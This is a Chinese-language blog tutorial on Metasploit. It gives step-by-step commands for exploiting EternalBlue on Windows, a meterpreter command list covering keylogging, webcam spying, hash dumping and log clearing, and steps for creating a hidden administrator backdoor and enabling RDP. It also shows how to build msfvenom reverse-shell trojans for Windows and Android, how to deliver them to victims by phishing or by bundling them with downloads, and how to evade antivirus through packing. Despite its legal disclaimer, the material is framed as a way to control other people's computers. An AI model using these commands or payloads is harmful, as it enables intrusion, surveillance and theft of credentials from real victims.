Kali最强渗透工具- metasploit

数据来源

  本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

Kali最强渗透工具- metasploit_第1张图片

得到ip地址我们能干嘛?

        首先进行端口扫描

为什么要进行端口扫描?

        端口扫描的作用就是发现目标主机开放的端口及其对应开放的服务,攻击者通过发现及利用服务所存在的漏洞,入侵目标主机。

- Nmap -扫描器之王

metasploit是什么?

        msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。

        netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。 

启动 metasploit 前需要做:

  • 打开ka终端
  • 使用 sudo su命令,并输入kali的密码kali,切换至root用户
  • 使用 msfdb init命令初始化 metasploit数据库(*可选) 

metasploit攻击 windows操作系统

        msfconsole           # 启动 metasploita命令行【命令行效率高,使用方便】

msf使用法则:

        使用模块  ->  配置模块必选项  ->  运行模块。        三步操作,就能实现对主流漏洞的攻击 

永恒之蓝漏洞:

        永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

metasploit攻击永恒之蓝全流程:

1. 使用模块

        use exploit/windows/smb/ms17_010_eternalblue

2. 设置必选项

        查看必选项【*required 为yes的就是必选项】 

        show options

或者

1. 搜索漏洞编号:

        search ms17_010       # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用

Kali最强渗透工具- metasploit_第2张图片

2. 使用模块

         可以通过模块名称或模块编号使用模块

        use exploit/windows/smb/ms17_010_eternalblue  # 通过模块名称使用模块

        或(选择一种方式即可)

        use 0                                                                            # 通过模块编号使用模块

Kali最强渗透工具- metasploit_第3张图片

3. 查看模块所需要的配置内容

        show options              # 可以按tab键自动补全命令,show 显示/展示   options  选项

        必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。

Kali最强渗透工具- metasploit_第4张图片

实验:

        1、准备一台靶机(我这里开了一台winXP),并查看靶机的IP地址(等下用做攻击目标)

        ipconfig          # 查看本机IP地址

        ifconfig eth# kali查看IP 

Kali最强渗透工具- metasploit_第5张图片

 2、回到kli设置metasploit的必选项,攻击目标这些

         set RHOSTS 192.168.0.103   # 设置目标IP地址,set  (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254

        show options              # show 显示/展示   options  选项,查看还有什么需要设置的

Kali最强渗透工具- metasploit_第6张图片        set payload windows/x64/meterpreter/reverse_tcp  # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器 

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改

        set lport 10001   # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下

Kali最强渗透工具- metasploit_第7张图片

        show options              # 查看配置

Kali最强渗透工具- metasploit_第8张图片

 3、启动运行模块,开启攻击

        命令:run

        我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标         

Kali最强渗透工具- metasploit_第9张图片

开一台64位操作系统的虚拟机,继续实验

Kali最强渗透工具- metasploit_第10张图片

继续查看主机IP

Kali最强渗透工具- metasploit_第11张图片

重新设置攻击目标

     set RHOSTS 192.168.0.106   # 设置目标IP地址

 启动运行模块,开启攻击

        命令:run

     攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限 

 攻击成功,拿到了对方的权限可以干嘛?可以输入:help   # 查看帮助

Kali最强渗透工具- metasploit_第12张图片

Kali最强渗透工具- metasploit_第13张图片

Kali最强渗透工具- metasploit_第14张图片

 核心命令

命令   

说明

? “帮助”菜单
 background  当前会话的背景
bg 背景别名
bgkill 杀死背景meterpreter脚本
bglist 列出正在运行的后台脚本
bgrun 作为后台线程执行meterpreter脚本
channel 显示信息或控制活动通道
close 关闭频道
detach 分离meterpreter会话(对于http/https)
disable_unicode_encoding 禁用unicode字符串的编码
enable_unicode_encoding 启用unicode字符串的编码
exit                       终止meterpreter会话
get_timeouts 获取当前会话超时值
guid 获取会话guid
help                       帮助菜单
info 显示有关Post模块的信息
irb 在当前会话上打开交互式Ruby shell
load                       加载一个或多个meterpreter扩展
machine_id 获取连接到会话的计算机的MSF id
migrate                    将服务器迁移到另一个进程
pivot 管理数据透视侦听器
pry                        在当前会话上打开Pry调试器
quit                       终止meterpreter会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行meterpreter脚本或Post模块
secure                     (重新)协商TLV数据包加密
sessions                   快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制仪表安静,然后重新建立会话,用法:用法:sleep<秒数>
ssl_verify 修改ssl证书验证设置
transport                  管理运输机制
use “load”的别名已弃用
uuid 获取当前会话的uuid
write 将数据写入通道

Stdapi:文件系统命令

命令 说明
cat 将文件的内容读到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定的文件
dir 列表文件(ls的别名)
download 下载文件或目录
edit           编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcat 将本地文件的内容读取到屏幕

lcd

更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列表文件
mkdir 创建新目录
mv 将源文件移动到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search         搜索文件
show_mount 列出所有装载点/逻辑驱动器
upload 上载文件或目目录(可以用来上传文件到对方电脑)

Stdapi:网络命令

命令 说明
arp 显示主机arp缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示IP界面
netstat 显示网络连接与对方开放的端口
portfwd 将本地端口转发到远程服务
resolve        解析目标上的一组主机名
route 查看和修改路由表

Stdapi:系统命令

命令 说明
clearev 清除事件日志
drop_token 放弃任何活动模拟令牌。
execute        执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getsid 获取服务器正在运行的用户的SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统的本地日期和时间
pgrep 按名称筛选进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重新启动远程计算机
reg 修改并与远程注册表交互
rev2self 在远程计算机上调用RevertToSelf()
shell 放入系统命令shell
shutdown 关闭远程计算机
stealt_token 尝试从目标进程中窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,如操作系统

Stdapi:用户界面命令

命令 说明
enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送键击
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare     共享实时监视远程用户桌面
screenshot      截图,获取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件

Stdapi:正在使用网络摄像头命令

命令 说明
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像机拍摄快照
webcam_stream 从指定的网络摄像机播放视频流(打开摄像头)

Stdapi:音频输出命令

命令 说明
play  在目标系统上播放波形音频文件(.wav)

Priv:提升命令

命令 说明
getsystem 尝试将您的权限提升到本地系统的权限

密码数据库命令

命令 说明
hashdump 转储SAM数据库的内容

Priv:时间戳命令

命令 说明
timestomp 操纵文件MACE属性

攻击成功后的命令使用:

        攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了

Kali最强渗透工具- metasploit_第15张图片

 注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:

        help   # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。

攻击成功后的使用示例: 

        攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息

        远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成

例:创建后门用户并开启远程连接(3389) 

        shell                                                          # 启动dos窗口,这样就能使用DOS 命令

        chcp 65001                                              # 默认情况下编码为936,中文会出现乱码问题,65001为UTF-8的代码页,可以正常显示中文

        net user zhangsan 123456 /add & net localgroup administrators zhangsan /add 

        或分开执行

        net user zhangsan 123456 /add              # 创建一个用户名为“zhangsan ”密码是“123456 ”

        net localgroup administrators zhangsan /add    # 将zhangsan 加入到管理员组(提升权限)

        exit                                                            # 退到上一级目录(这里是退出dos窗口回到,meterpreter > )

        getsystem                                                  #  先将当前的session提升为system权限(以防万一)

        run post/windows/manage/enable_rdp   #  利用此后渗透模块即可直接开启远程桌面,开启受害者主机3389端口(远程桌面连接端口)

        这样一套命令下来,以后我们就可以直接使用 zhangsan 这个账号登录3389端口的远程桌面服务,远程控制目标主机(mstsc -v 目标ip)

Kali最强渗透工具- metasploit_第16张图片

rdesktop 192.168.0.103:3389  # 连接受害者主机的远程桌面,如下图所示:

Kali最强渗透工具- metasploit_第17张图片

Kali最强渗透工具- metasploit_第18张图片

Kali最强渗透工具- metasploit_第19张图片

需要注意的是你登录了,对方会被你挤下线 

Kali最强渗透工具- metasploit_第20张图片

Kali最强渗透工具- metasploit_第21张图片

1)使用Kali渗透工具生成远控木马

        想远程控制别人?msfvenom 生成远控木马了解一下

        msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。

      【* msfvenom在shell里使用,不是 msfconsole 终端】

        payload        攻击载荷 

        windows       是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux

        lhost               代表你是谁,既kali的IP地址

        lport              代表你要在kali上开启的端口,1-65535随便选,但不能被占用

        -f                    是指format(格式)

        exe                是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)

        -o                  是指output(输出),后面跟的demo.exe是文件名,自定义随便改。

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
 

Kali最强渗透工具- metasploit_第22张图片

 生成木马文件示例:

        输入:exit    # 退回上一级,直到回到kali的命令行中

Kali最强渗透工具- metasploit_第23张图片

         msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe   # 生成木马文件

Kali最强渗透工具- metasploit_第24张图片

        现在文件就生成到桌面的我们可以在桌面查看文件 

Kali最强渗透工具- metasploit_第25张图片

         这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。

Kali最强渗透工具- metasploit_第26张图片

        注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe   。或者使用命令:cd 路径   # 更改命令行的路径

生成木马就完事?把木马文件发送到目标主机

(注意这一步需要使用上面写的方法通过metasploit获取到目标的权限才行,如果对方电脑没有漏洞获取不到对方权限,那就需要用钓鱼的方式让受害者自己下载,比如我们在百度上下载的软件都有很多捆绑软件)

        pwd                                                                 # 打印目标的工作目录

        upload /home/kali/桌面/demo999.exe          # 把木马文件发送到目标的电脑上

       upload /home/kali/桌面/demo999.exe d:\\    # 也可以指定文件路径,发送到对方的D盘根目录下

Kali最强渗透工具- metasploit_第27张图片

Kali最强渗透工具- metasploit_第28张图片

记得在 msfconsole里开启监听,等待受害者运行上钩 

        现在有了木马文件,我们要让别人下载,俗称:“钓鱼” 

首先:制作鱼钩

        msfconsole                         # 启动 metasploita命令行

        use exploit/multi/handler   # 使用模块

        show options                        # 查看设置,查看这个模块需要配置那些选项才能使用

Kali最强渗透工具- metasploit_第29张图片

Kali最强渗透工具- metasploit_第30张图片

1)设置攻击载荷:

         set payload windows/x64/meterpreter/reverse_tcp   # 这个攻击载荷就是上面我们使用的攻击载荷

        show options                                                                  # 查看设置

Kali最强渗透工具- metasploit_第31张图片

2)设置侦听地址

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址

        show options                                                                  # 查看设置

Kali最强渗透工具- metasploit_第32张图片

3)设置帧听端口:

        set lport 9988   # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444

Kali最强渗透工具- metasploit_第33张图片

4)运行模块:run   # 简单理解就是把鱼钩放到河里

Kali最强渗透工具- metasploit_第34张图片

现在我们要做的就是等待鱼儿上钩:

  • 方法一:我们主动将钩子摁到鱼儿上(利用漏洞)
  • 方法二:姜太公钓鱼,愿者上钩!

Kali最强渗透工具- metasploit_第35张图片

假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。

通过命令运行对方的木马文件(需要使用上面写的方法通过metasploit获取到目标的权限

        execute -H -i -f demo999.exe          # 运行demo999.exe这个刚才我们发到目标过去的木马文件, -H 不可见,-i 交互

Kali最强渗透工具- metasploit_第36张图片

 然后输入:   help   # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样

webcam_list 列出网络摄像头(查看对方的电脑有没有摄像头)
webcam_stream 从指定的网络摄像机播放视频流(打开摄像头)

我这里的目标是虚拟机所以这块,响应的信息是没有 

Kali最强渗透工具- metasploit_第37张图片

 Kali最强渗透工具- metasploit_第38张图片

Kali最强渗透工具- metasploit_第39张图片

 ctrl + c 退出监控

Kali最强渗透工具- metasploit_第40张图片

杀毒软件会查杀怎么办?一招教你躲避火绒的探测

        最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】

捆绑木马(现在基本没效果,杀毒软件的技术更新了)

        msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f  exe-xnotepad++. exe -o notepad++.exe    

 加壳:压缩壳、加密壳

如:Themida

使用示例:

        打开软件 

Kali最强渗透工具- metasploit_第41张图片

Kali最强渗透工具- metasploit_第42张图片

Kali最强渗透工具- metasploit_第43张图片

然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。

Kali最强渗透工具- metasploit_第44张图片

Kali最强渗透工具- metasploit_第45张图片

然后可以复制到真实机上测试

Kali最强渗透工具- metasploit_第46张图片

Kali最强渗透工具- metasploit_第47张图片

         后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。

你可能感兴趣的:(网络安全,网络,安全)